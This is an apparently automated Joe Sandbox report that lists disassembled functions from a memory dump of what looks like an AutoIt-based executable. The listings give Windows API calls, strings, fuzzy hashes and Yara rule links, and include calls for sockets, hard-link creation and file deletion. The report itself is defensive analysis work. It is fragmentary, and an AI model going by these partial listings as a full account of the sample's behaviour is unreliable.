API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 1b02cc915d1874cd0ffcab546d7e642c662557b8d494f49f2441ecc02f6bc7fc
Instruction ID: b2db74ea22671b699661061f7dd33375516c13fa786bd8308463a65931eef237
Opcode Fuzzy Hash: 1b02cc915d1874cd0ffcab546d7e642c662557b8d494f49f2441ecc02f6bc7fc
Instruction Fuzzy Hash: 4031E4362042859FCF20CF6AC589EAA77F0EF54318F258199E9158B392DB32EF45C761

Function 00AF3EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00AF3F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00AF3F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00AF3F78

Strings

SysMonthCal32, xrefs: 00AF3F0B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: ba7fc325cfb85163c7be880a238e900ef0b2119f8aa88e79709d7ec3d1d049b6
Instruction ID: c65a5ddbba2fa8401d94283e5454521c77732ad6ef2f252a86e7304e978fdc0a
Opcode Fuzzy Hash: ba7fc325cfb85163c7be880a238e900ef0b2119f8aa88e79709d7ec3d1d049b6
Instruction Fuzzy Hash: 41218B33600219BBDF25DF94DC46FEA3BB9EF48724F110214FA15AB190DAB5A951CBA0

Function 00AF4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00AF4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00AF4713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00AF471A

Strings

msctls_updown32, xrefs: 00AF4684

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 67236fa9c433800e6e467969b80b4501ad8b3633a9a68e66ae89e0ab86e8d141
Instruction ID: 08efbd3bd61978c731461bef0bc8d48640a8de577049399a4ee7a722f9e9a36c
Opcode Fuzzy Hash: 67236fa9c433800e6e467969b80b4501ad8b3633a9a68e66ae89e0ab86e8d141
Instruction Fuzzy Hash: A22131B5604209AFEB10DFA8DC81DBB37ADEB5A364B140559F6009B251DB71EC12CA60

Function 00AC95AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00AC961D

Strings

#notrayicon, xrefs: 00AC95B7
#requireadmin, xrefs: 00AC95D9
#OnAutoItStartRegister, xrefs: 00AC95F3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: f97b9930b2bb97490cf859ea5745f8963babcaa8ea5e9587aa2d645f5ca31d8e
Instruction ID: 358ae79a0b2029d225d4eb055ab630020856b3a2d3ec20168c0f0c6beb07ddc1
Opcode Fuzzy Hash: f97b9930b2bb97490cf859ea5745f8963babcaa8ea5e9587aa2d645f5ca31d8e
Instruction Fuzzy Hash: AA21AA322042146AE731BB24DD0AFBB73E8AF94300F51442EFA4A9B081EF64EE45C3D5

Function 00AF37B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00AF3840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00AF3850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00AF3876

Strings

Listbox, xrefs: 00AF380F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 635da30580dd69b13c2cd2829fb7db6b83b651d3c2eca5f8340a646ed10c2479
Instruction ID: a37f5e3a18d661c775dd66ed5fa45ec2f90eb3fb7de42eeefc48153b3aeb7336
Opcode Fuzzy Hash: 635da30580dd69b13c2cd2829fb7db6b83b651d3c2eca5f8340a646ed10c2479
Instruction Fuzzy Hash: EE217F72610118BBEF11DF95DC45EBB376EEF897A0F118124FA059B190CA75DC5287A0

Function 00AD49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00AD4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00AD4A5C
SetErrorMode.KERNEL32(00000000,?,?,00AFCC08), ref: 00AD4AD0

Strings

%lu, xrefs: 00AD4A6F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 1b1562b0a25916f4445c971ca27144288846ab641b1f8a8cc2980ef8e0bb1c88
Instruction ID: 79a0570dbd929d65f5bee7df46322fa5cf717b54610566775baf3312828b17ec
Opcode Fuzzy Hash: 1b1562b0a25916f4445c971ca27144288846ab641b1f8a8cc2980ef8e0bb1c88
Instruction Fuzzy Hash: 4F314175A00109AFDB10DF94C985EAA77F8EF48318F1480A9F509DB362D771EE46CB61

Function 00AF41EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00AF424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00AF4264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00AF4271

Strings

msctls_trackbar32, xrefs: 00AF4226

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: ff71ebbc7cc326e7c174e7b9568848e57a29c0fe9a99eee5a84438df1edd67b6
Instruction ID: f84eacf8ba0cb6620c360b22775b359217bca80ae3374b205c01cd8014b1bdc1
Opcode Fuzzy Hash: ff71ebbc7cc326e7c174e7b9568848e57a29c0fe9a99eee5a84438df1edd67b6
Instruction Fuzzy Hash: 4511E331240248BEEF205FA9CC06FFB3BACEF89B64F114624FA55E20A0D671D811DB24

Function 00AC2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A66B57: _wcslen.LIBCMT ref: 00A66B6A

Part of subcall function 00AC2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00AC2DC5
Part of subcall function 00AC2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00AC2DD6
Part of subcall function 00AC2DA7: GetCurrentThreadId.KERNEL32 ref: 00AC2DDD
Part of subcall function 00AC2DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00AC2DE4

GetFocus.USER32 ref: 00AC2F78

Part of subcall function 00AC2DEE: GetParent.USER32(00000000), ref: 00AC2DF9

GetClassNameW.USER32(?,?,00000100), ref: 00AC2FC3
EnumChildWindows.USER32(?,00AC303B), ref: 00AC2FEB

Strings

%s%d, xrefs: 00AC2FFF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 52022d02fddca90e734acd5f82f3b93d96bb604819db4013a070dbcab0a373fc
Instruction ID: f2b0992d61b90a5805f672d692f627fd4302a12342c141bbbce97e607533e5c4
Opcode Fuzzy Hash: 52022d02fddca90e734acd5f82f3b93d96bb604819db4013a070dbcab0a373fc
Instruction Fuzzy Hash: 9011D572200209ABCF51BFA48D85FFD376AAF94314F048079F909DB192DE705A09CB60

Function 00AF5882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00AF58C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00AF58EE
DrawMenuBar.USER32(?), ref: 00AF58FD

Strings

0, xrefs: 00AF588F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 0be35a59d560772f5208b5ea23de8348d261bd276564c3ad0791c915a0251621
Instruction ID: d309b67f87488e3a5a6a6c23838d9dcfdda444d0a391b22f26d5ebc0ab224fa9
Opcode Fuzzy Hash: 0be35a59d560772f5208b5ea23de8348d261bd276564c3ad0791c915a0251621
Instruction Fuzzy Hash: 7201393190021CEEDB219FA1DC44BAABBB5BF45361F10C099FA49D6151DB708A85EF21

Function 00ABD3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 00ABD3BF
FreeLibrary.KERNEL32 ref: 00ABD3E5

Strings

X64, xrefs: 00ABD2A8
GetSystemWow64DirectoryW, xrefs: 00ABD3B9

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 20db8fedbb15533f23ce5ea60c0aceec820662d5c6e8f331dfd6a44e5464d4dd
Instruction ID: 720004e7628c465cbdad3f18a79614cb2d3523c08a8eef80fc08a22837a67486
Opcode Fuzzy Hash: 20db8fedbb15533f23ce5ea60c0aceec820662d5c6e8f331dfd6a44e5464d4dd
Instruction Fuzzy Hash: E3F0AB31802A659BC33143518C289FD737CAF00B01F68C269F806E9007FB24CD4486CA

Function 00AC007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 146ed5a5111f230dbb43352b840652cfd8acf042af9c92ec98096f2780d09bc8
Instruction ID: 40f7d9d070f2a55e8bec1bdc25a71e981f549aafdd35c47b5e144092c9e8ce67
Opcode Fuzzy Hash: 146ed5a5111f230dbb43352b840652cfd8acf042af9c92ec98096f2780d09bc8
Instruction Fuzzy Hash: 6EC13875A0021AEFDB14CFA8C894FAAB7B5FF48304F168598E505EB251D731ED41DB90

Function 00A93E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A93F0B
__alldvrm.LIBCMT ref: 00A9410C
__alldvrm.LIBCMT ref: 00A9412E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: 02ba19d62824828f1ed74ff49e5f7267bd3b9061efdb05122d9cf24b8f17dc50
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 07A12876F003869FEF25CF18C891BAEBBF5EF69350F24426DE5559B281C6388982C750

Function 00AE342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00AE3459
CoUninitialize.OLE32 ref: 00AE3463
VariantInit.OLEAUT32(?), ref: 00AE346E
VariantClear.OLEAUT32(?), ref: 00AE371B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: eb9ebaee30dae777659270f4b27d392074caa0edebe07a8d5eeaadf1b8c67544
Instruction ID: 763a26d55581e0b1d52a87e6d43143badd60aadcc4ca648eb84280034f17eee8
Opcode Fuzzy Hash: eb9ebaee30dae777659270f4b27d392074caa0edebe07a8d5eeaadf1b8c67544
Instruction Fuzzy Hash: 6FA119766143409FCB10DF69C585A2AB7F5FF88724F048859F98A9B362DB30EE01CB91

Function 00AC0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00AFFC08,?), ref: 00AC05F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00AFFC08,?), ref: 00AC0608
CLSIDFromProgID.OLE32(?,?,00000000,00AFCC40,000000FF,?,00000000,00000800,00000000,?,00AFFC08,?), ref: 00AC062D
_memcmp.LIBVCRUNTIME ref: 00AC064E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 1fa9f4a648a78d03d6eee32006dab70ffc0f110d5824c31108ef46ecba3b3d4e
Instruction ID: b5141214e2462bb5e3d900dfa1e0e5d5f2d03782ed8a8f3b31821d18e94a3e46
Opcode Fuzzy Hash: 1fa9f4a648a78d03d6eee32006dab70ffc0f110d5824c31108ef46ecba3b3d4e
Instruction Fuzzy Hash: 7A81E975A00109EFCB04DFE8C984EEEB7B9FF89315F214558E516AB250DB71AE06CB60

Function 00AA1391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00AA14C0

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5b2917269a24d8602b77f2cc7a9262bba6cf4fbdade60a44845ce79bee58e168
Instruction ID: 0df82848c7c1c73d7a8d895477b36f00bd3b55cd8d278d40636c8c06c83cf887
Opcode Fuzzy Hash: 5b2917269a24d8602b77f2cc7a9262bba6cf4fbdade60a44845ce79bee58e168
Instruction Fuzzy Hash: D1410675A00615BBDF21BBBD8D46ABE3AE4EF4B370F144225F419D71D2E734884153A1

Function 00AF6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00AF62E2
ScreenToClient.USER32(?,?), ref: 00AF6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00AF6382

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 20bce5fb1908001496069a600c668ee004d2c6edfb822b0cfd1ed1aca21e1b92
Instruction ID: 07dc7f5f0f5f4911b33aa281501e5d88c8a91fbc5063c3e3ab63908400ada8b7
Opcode Fuzzy Hash: 20bce5fb1908001496069a600c668ee004d2c6edfb822b0cfd1ed1aca21e1b92
Instruction Fuzzy Hash: 89512A74A00209EFCB14DFA8D980ABE7BB5EF55360F208669F9159B291D730ED41CB50

Function 00AE1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00AE1AFD
WSAGetLastError.WSOCK32 ref: 00AE1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00AE1B8A
WSAGetLastError.WSOCK32 ref: 00AE1B94

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: f09ff3eb5dd179e4797ca947619dbc358d6a968b4ed015878581f680fef48866
Instruction ID: eadc3f68808e7ff55bde3f8212b1a1063d5ca1d93157a72426cfe0488a6e5493
Opcode Fuzzy Hash: f09ff3eb5dd179e4797ca947619dbc358d6a968b4ed015878581f680fef48866
Instruction Fuzzy Hash: E541DF74600210AFE720AF25C986F2A77E5EB44718F54C488F91A9F3D2D772ED42CB90

Function 00A9B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25670c5feb22d490ea19ad7a38e5f1e4e6a137a090916baa36ff72264e2437f5
Instruction ID: ee5a1ab604eb3da181512f854fdbc08d1b26e072cbf8ae29873a95d795a44554
Opcode Fuzzy Hash: 25670c5feb22d490ea19ad7a38e5f1e4e6a137a090916baa36ff72264e2437f5
Instruction Fuzzy Hash: 50411975B10304BFDB24AF78DE41BAABBE9EBC4710F10852AF152DB2D1D771990187A0

Function 00AD56D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00AD5783
GetLastError.KERNEL32(?,00000000), ref: 00AD57A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00AD57CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00AD57FA

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
